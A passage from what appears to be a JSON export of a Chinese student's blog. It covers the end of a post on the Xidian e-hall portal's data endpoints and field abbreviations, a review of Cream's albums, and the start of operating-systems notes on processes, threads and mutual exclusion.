的东西,里面就有缩写和对应中文,这里我摘抄几个。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSSJMS\u003c/td\u003e\n\u003ctd\u003e考试时间\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASMC\u003c/td\u003e\n\u003ctd\u003e考试地点(具体是啥我也不知道)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZJJSXM\u003c/td\u003e\n\u003ctd\u003e主讲教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZWH\u003c/td\u003e\n\u003ctd\u003e座位号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYKKS\u003c/td\u003e\n\u003ctd\u003e已完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWKKS\u003c/td\u003e\n\u003ctd\u003e未完成考试\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ\u003c/td\u003e\n\u003ctd\u003e考生须知\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYXZXAPKS\u003c/td\u003e\n\u003ctd\u003e院系自行安排\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"个人信息\"\u003e个人信息\u003c/h3\u003e\n\u003cp\u003e感觉这是最没用的功能了,除了打开应用告诉你是谁之外(溜了)\u003c/p\u003e\n\u003ch4 id=\"获取方法\"\u003e获取方法\u003c/h4\u003e\n\u003cp\u003e还记得获取成绩前,我们需要把跳转网址自行发送 GET 请求吗?获取个人信息时候也需要这么做:-P\u003c/p\u003e\n\u003cp\u003e如果你需要获取很基本的信息,我们往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/xsfw/sys/swpubapp/userinfo/getConfigUserInfo.do?USERID=\u003c/a\u003e学号 发送 POST 请求。数据的 returnCode 里面,有 #E000000000000 就是成功。获取的信息在 \u003ccode\u003e[data]\u003c/code\u003e 里面,是一个数组。数组元素依次是学号,姓名,学院。\u003c/p\u003e\n\u003cp\u003e要想获取更加具体的信息,请往 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/xsfw/sys/jbxxapp/modules/infoStudent/getStuBatchInfo.do\u003c/a\u003e 发送信息,附带数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;requestParamStr\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"金智黑话翻译表-2\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXM\u003c/td\u003e\n\u003ctd\u003e姓名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXBDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e性别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBZ5_DISPLAY\u003c/td\u003e\n\u003ctd\u003e书院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDZ_DWDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e学院\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZYDM_DISPLAY\u003c/td\u003e\n\u003ctd\u003e专业\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZSDZ\u003c/td\u003e\n\u003ctd\u003e宿舍\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e感觉看了那么多东西,算是把网页请求和 Cookie 啥的了解了一下,保证将来计网学的时候没有陌生感(虽然据说不咋讲)。\u003c/p\u003e\n\u003cp\u003e希望那玩意能写出来吧,免得将来找工作说没有编程经验,虽然 Dart 和 Flutter 也是很小众就是了。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/the-things-behind-xidian-e-hall.html"},{"title":"奶油乐队个人回顾","time":"2022-06-12T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/GOzRUgIAKfEQdu3.jpg\" alt=\"Featured image of post 奶油乐队个人回顾\" /\u003e\u003cp\u003e我最近在搞 CPP 的一卡通管理系统大作业,那里面有三个测试文件。有个测试文件是 resident.txt,我在里面输了两个人:Clapton 和 Baker,他们俩对应 Eric Clapton(guitar) 和 Ginger Baker(drums),都是奶油乐队的成员。不过我忘输机 Jack Bruce(bass, harmonica, vocal) 了:-P\u003c/p\u003e\n\u003cp\u003e奶油乐队是上世纪六十年代末的摇滚乐队,所以音乐风格有点复杂。\u003c/p\u003e\n\u003ch2 id=\"上来布鲁斯就超标\"\u003e上来布鲁斯就超标\u003c/h2\u003e\n\u003cp\u003e他们的第一张专辑 \u003cem\u003eFresh Cream\u003c/em\u003e 布鲁斯的味道简直是超标,毕竟有一半的歌曲是翻唱的布鲁斯歌曲。在原创的歌曲中,\u003cem\u003eSleepy Time Time\u003c/em\u003e 体现得很明显。上来的四个音,标准的布鲁斯。后面的三个连音,也是布鲁斯。就连吉他独奏,还是布鲁斯。加上迷幻的歌词,感觉有种奇特的感觉。而在翻唱作品中,\u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin\u0026rsquo;\u003c/em\u003e 是最有那种感觉的,也就是高亢的声调来体现悲伤的感情,这都要归功于出色的口琴表演。\u003c/p\u003e\n\u003cp\u003e来说说鼓手的表现。这张专辑有些歌曲的鼓声简直是疯狂至极,尤其在 \u003cem\u003eCat’s Squirrel\u003c/em\u003e 和 \u003cem\u003eRollin‘ and Tumblin\u0026rsquo;\u003c/em\u003e 里面。 \u003cem\u003eSweet Wine\u003c/em\u003e 也是他写的,听起来超级有节奏感,咚咚的感觉。专辑的最后 \u003cem\u003eToad\u003c/em\u003e 就是给他炫技的专门舞台,开创了鼓手独奏在录音室专辑中的先河。(据说他老人家有点小看 Bonzo 233)\u003c/p\u003e\n\u003cp\u003e至于吉他手嘛,他的舞台不在录音室,而在现场。这张专辑除了上面说的,再加上 \u003cem\u003eI Feel Free\u003c/em\u003e ,就没啥了。\u003c/p\u003e\n\u003cp\u003e关于第一张专辑,我还想说一点。这张专辑的双声道版本在我看来,十分地糟糕。鼓声贝斯完全在左声道,吉他声完全在左声道,听上去太割裂啦。要想完整欣赏的话,要不找个有单声道混音的纪念版,要不找个好点的单声道混音器:-P\u003c/p\u003e\n\u003ch2 id=\"然后酒喝多了脑袋沉沉的\"\u003e然后酒喝多了,脑袋沉沉的\u003c/h2\u003e\n\u003cp\u003e他们的第二张专辑 \u003cem\u003eDisraeli Gears\u003c/em\u003e 开始迷幻了起来,虽然布鲁斯的感觉还在,但是已然不是主导的力量了。他们的声音逐渐加重了起来,也迷幻了起来。甚至名字都是迷幻的。比如说上来一首 \u003cem\u003eStrange Brew\u003c/em\u003e ,虽然起调的六个音十分的布鲁斯,但只要稍微延长一下,就迷幻了起来。中间的独奏也是由连音造就的玄幻感觉。这杯啤酒就很怪。\u003c/p\u003e\n\u003cp\u003e当然,也有融合得不是很好的。比如 \u003cem\u003eTales of Brave Ulysses\u003c/em\u003e ,就是纯靠有一点布鲁斯哇音搞点那种感觉,一开始听我没觉得很独特。这之后的 \u003cem\u003eSWLABW\u003c/em\u003e 名字很奇怪 ( She Walked Like A Beard Rainbow ),但是节奏却很快,不迷幻,很清醒,我听完很爽的,是不是人真要迷幻起来也就这样激情吧。\u003c/p\u003e\n\u003cp\u003e这些特点都要归功于新的制作人。第一张专辑的制作人,就是他们的经纪人 Robert Stigwood,经纪人没有抓住他们乐曲的主要特点,搞得听起来有点平平。回来有个贝斯手 Felix Pappalardi 听完了,找到了他们,稍微改了几下,添加了很多新要素。\u003c/p\u003e\n\u003cp\u003e这张专辑的元素,实际上十分多样化,出现了全新风格的歌曲。比如 \u003cem\u003eSunshine of Your Love\u003c/em\u003e 就十分的重摇滚,没啥布鲁斯,也不迷幻。\u003cem\u003eDance the Night Away\u003c/em\u003e 和 \u003cem\u003eWe‘re Going Wrong\u003c/em\u003e 十分纯粹地抒情。前者独奏中的吉他涟漪荡漾,十分地有感觉。\u003c/p\u003e\n\u003ch2 id=\"彻底没有融合分化的很明显\"\u003e彻底没有融合,分化的很明显\u003c/h2\u003e\n\u003cp\u003e第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 的录音室歌曲部分明显感觉到布鲁斯,迷幻的感觉都没有那么明显了。从布鲁斯的感觉中,脱胎出重摇滚的感觉。迷幻的感觉我觉得荡然无存了,取代的是偏流行的因素。\u003c/p\u003e\n\u003cp\u003e先说流行的感觉,因为我对这个没有那么深的感觉。\u003cem\u003eWhite Room\u003c/em\u003e 气势宏大,\u003cem\u003eThose Were the Days\u003c/em\u003e 节奏欢快,\u003cem\u003eAs You Said\u003c/em\u003e 十分伤感抒情。歌曲的风格已经很复杂,而且流行的感觉了。这个对第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的三首歌都适用。\u003c/p\u003e\n\u003cp\u003e再说重摇滚的感觉,我前面说过的很多布鲁斯调子都是几个音,只要加重一下,重的感觉立马就出来了。比如说 \u003cem\u003ePolician\u003c/em\u003e 这首歌,上来的五个音虽然不是那么布鲁斯,但是绝对是很重的,布鲁斯的痕迹还是在的,而且吉他独奏也是明显的脱胎自布鲁斯。而这张专辑的两首布鲁斯翻唱 \u003cem\u003eSitting on the Top of the World\u003c/em\u003e 和 \u003cem\u003eBorn Under A Bad Sign\u003c/em\u003e,也是十分的重。我曾经看有人说过重金属脱胎自布鲁斯,现在我是有点明白了。(没错,说的就是 Led Zeppelin)\u003c/p\u003e\n\u003cp\u003e实际上,听他们的现场,基本就是这个感觉。他们也是因为第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 和第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的现场演奏部分就是这种感觉。很重,很快,很布鲁斯。强烈推荐 \u003cem\u003eSpoonful\u003c/em\u003e 的现场演奏版,绝对能听得很爽。\u003c/p\u003e\n\u003ch2 id=\"我还有啥要说的\"\u003e我还有啥要说的\u003c/h2\u003e\n\u003cp\u003e讲道理,要不是这个乐队有个很出名的吉他手,现在人估计没有多少人会注意到这个乐队。但作为六十年代末期比较出名的乐队之一,他们迷幻又重型的风格,让他们在摇滚乐的形成方面起到了很大的作用。他们录音室专辑除了第二张,其他的并没有那么好。但是他们的现场,绝对是经典中的经典。\u003c/p\u003e\n\u003ch2 id=\"扩展观看\"\u003e扩展观看\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.discogs.com/artist/229621-Cream-2\" target=\"_blank\" rel=\"noopener\"\n \u003eDiscogs 上面的乐队信息\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1xF411T75L\" target=\"_blank\" rel=\"noopener\"\n \u003e这个乐队的纪录片\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Zy4y1y729\" target=\"_blank\" rel=\"noopener\"\n \u003e本乐队鼓手的纪录片\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/CPP/exp4\" target=\"_blank\" rel=\"noopener\"\n \u003e那个大作业\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/cream-band-review.html"},{"title":"操作系统:线程","time":"2022-04-09T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/XwlnJjUEqyDB6WZ.png\" alt=\"Featured image of post 操作系统:线程\" /\u003e\u003ch2 id=\"进程概要\"\u003e进程概要\u003c/h2\u003e\n\u003ch3 id=\"栈区是否是程序的一部分\"\u003e栈区是否是程序的一部分?\u003c/h3\u003e\n\u003cp\u003e不是,栈区是进程的一部分,而程序不是进程。(什么咬文嚼字233)\u003cbr\u003e\n概念:进程是正在运行的程序。包括程序计数器,栈区和数据区。\u003c/p\u003e\n\u003ch3 id=\"进程创建的四种情况是啥\"\u003e进程创建的四种情况是啥?\u003c/h3\u003e\n\u003cp\u003e系统初始化,用户请求,系统调用,批处理初始化。\u003c/p\u003e\n\u003ch2 id=\"父子进程\"\u003e父子进程\u003c/h2\u003e\n\u003ch3 id=\"fork-创建子进程-和-exec-执行-的区别\"\u003eFork (创建子进程) 和 Exec (执行) 的区别\u003c/h3\u003e\n\u003cp\u003e我觉得括号里面说的很明白了2333\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFork: 子进程和父进程的代码区,堆栈区是相同的。\u003c/li\u003e\n\u003cli\u003eExec: 在同一个进程中,用程序镜像替换这个进程(使用执行程序的程序段和代码段覆盖)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"命令行shell如何执行用户指令\"\u003e命令行(Shell)如何执行用户指令?\u003c/h3\u003e\n\u003cp\u003e用 UNIX 系统举例 (详情见书 P88 最后一段)\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e读取并解析字符串,找到程序\u003c/li\u003e\n\u003cli\u003e使用 \u003ccode\u003efork\u003c/code\u003e/\u003ccode\u003eexec\u003c/code\u003e 系统调用生成子进程\u003c/li\u003e\n\u003cli\u003e子进程使用 \u003ccode\u003eexecvp\u003c/code\u003e 系统调用,使用执行程序的程序段和代码段覆盖。\u003c/li\u003e\n\u003cli\u003e父进程进入等待状态。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e概念:进程的状态有准备态(Ready),等待态(Waiting),运行态(Running)\u003c/p\u003e\n\u003ch3 id=\"读这段代码说最终有几个进程捏\"\u003e读这段代码,说最终有几个进程捏?\u003c/h3\u003e\n\u003cp\u003e先告诉你有四个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kt\"\u003epid_t\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003efork\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"Let\u0026rsquo;s paint a tree, shall we?\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eLet’s paint a tree, shall we?\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"深入进程\"\u003e深入进程\u003c/h2\u003e\n\u003ch3 id=\"进程终结时候发生了啥\"\u003e进程终结时候发生了啥?\u003c/h3\u003e\n\u003cp\u003e移除所有队列,释放占用的系统资源(内存等),然后返回操作系统。有可能出现僵尸进程,得让父进程来终结:-P\u003c/p\u003e\n\u003cp\u003e进程终结状态如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e程序自愿退出:执行完了/遇到一般错误\u003c/li\u003e\n\u003cli\u003e被迫退出:进程遇到严重错误/被其他进程发信号退出\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"pcb-不是电路板\"\u003ePCB 不是电路板!\u003c/h3\u003e\n\u003cp\u003ePCB (Process Control Block):进程控制块。重点包括以下东西:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e进程状态\u003c/li\u003e\n\u003cli\u003e程序计数器\u003c/li\u003e\n\u003cli\u003eCPU寄存器\u003c/li\u003e\n\u003cli\u003eCPU调度信息\u003c/li\u003e\n\u003cli\u003e内存管理信息\u003c/li\u003e\n\u003cli\u003eAccounting information\u003c/li\u003e\n\u003cli\u003e输入输出状态信息\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e注意:第六条直译为会计信息。我有两个理解:进程状态信息 / 用户信息\n(我的上帝啊,谁能给我本翻译得十分不错的 Modern Operating System 啊)\u003c/p\u003e\n\u003ch2 id=\"线程概要\"\u003e线程概要\u003c/h2\u003e\n\u003ch3 id=\"线程提出的目的\"\u003e线程提出的目的\u003c/h3\u003e\n\u003cp\u003e对于操作系统来说,中断或者切换一个进程的代价太高了。\u003c/p\u003e\n\u003ch3 id=\"弹出式线程的定义\"\u003e弹出式线程的定义\u003c/h3\u003e\n\u003cp\u003e操作系统收到一个信息后,创建一个线程来处理信息。\u003cbr\u003e\n概念:进程分为用户态线程(管理归进程),系统态线程(管理归操作系统),混合态进程,以及弹出态进程\u003c/p\u003e\n\u003ch3 id=\"用户态线程的优劣\"\u003e用户态线程的优劣\u003c/h3\u003e\n\u003ch4 id=\"优点\"\u003e优点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程调用很快。\u003c/li\u003e\n\u003cli\u003e线程可以自行定义调度算法。\u003c/li\u003e\n\u003cli\u003e减轻内核调用线程压力。(内核看不到用户态线程)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"缺点\"\u003e缺点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程无法调用阻塞式系统调用。(毕竟只能访问进程里面的玩意)\u003c/li\u003e\n\u003cli\u003e没有时钟,除非运行完退出,其他线程无法运行。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"调度算法\"\u003e调度算法\u003c/h2\u003e\n\u003ch3 id=\"调度发生的时机\"\u003e调度发生的时机\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e新进程的创建\u003c/li\u003e\n\u003cli\u003e进程的退出\u003c/li\u003e\n\u003cli\u003e某进程需要IO操作,\u003c/li\u003e\n\u003cli\u003eIO设备申请CPU中断 (称之为IO中断)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"一道计算题\"\u003e一道计算题\u003c/h3\u003e\n\u003cp\u003eBy Multilevel Quene Fixed Priority scheduling algorithm, there are 3 priority quenes and 7 processes with following information. Draw the CPU scheduling Gantt chart and complete the following table for the give processes information.\u003c/p\u003e\n\u003cp\u003e通过多层级队列混合优先级 (Multilevel Quene Fixed Priorty) 调度算法,总共有三个优先级队列和七个进程,信息如下。画出 CPU 调度甘特图,然后根据信息填写最下面的表格。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"进程间通信\"\u003e进程间通信\u003c/h2\u003e\n\u003ch3 id=\"基础概念\"\u003e基础概念\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e竞争条件 (race condition) :多个进程间读取一个数据。\u003c/li\u003e\n\u003cli\u003e临界区 (critical region):要与其他进程共享数据区域。\u003c/li\u003e\n\u003cli\u003e互斥访问 (mutual exclusion) 和忙等待 (busy waiting)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"互斥访问方案原则\"\u003e互斥访问方案原则\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e任意两个进程不能同时在临界区。\u003c/li\u003e\n\u003cli\u003e不对 CPU 速度和数量做出假设。\u003c/li\u003e\n\u003cli\u003e临界区外运行进程不能阻塞其他进程。\u003c/li\u003e\n\u003cli\u003e不要让进程进入临界区前无限制等待。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"阅读代码填空\"\u003e阅读代码,填空\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-asm\" data-lang=\"asm\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nl\"\u003eenter_region:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eXCHG\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eCMP\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c1\"\u003e#1;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eJE\u003c/span\u003e \u003cspan class=\"no\"\u003eOK\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eCALL\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eJMP\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"nl\"\u003eok:\u003c/span\u003e \u003cspan class=\"nf\"\u003eRET\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nl\"\u003eleave_region:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eRET\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e根据 \u003ccode\u003eCMP REGISTER,#1; JE OK; ok: 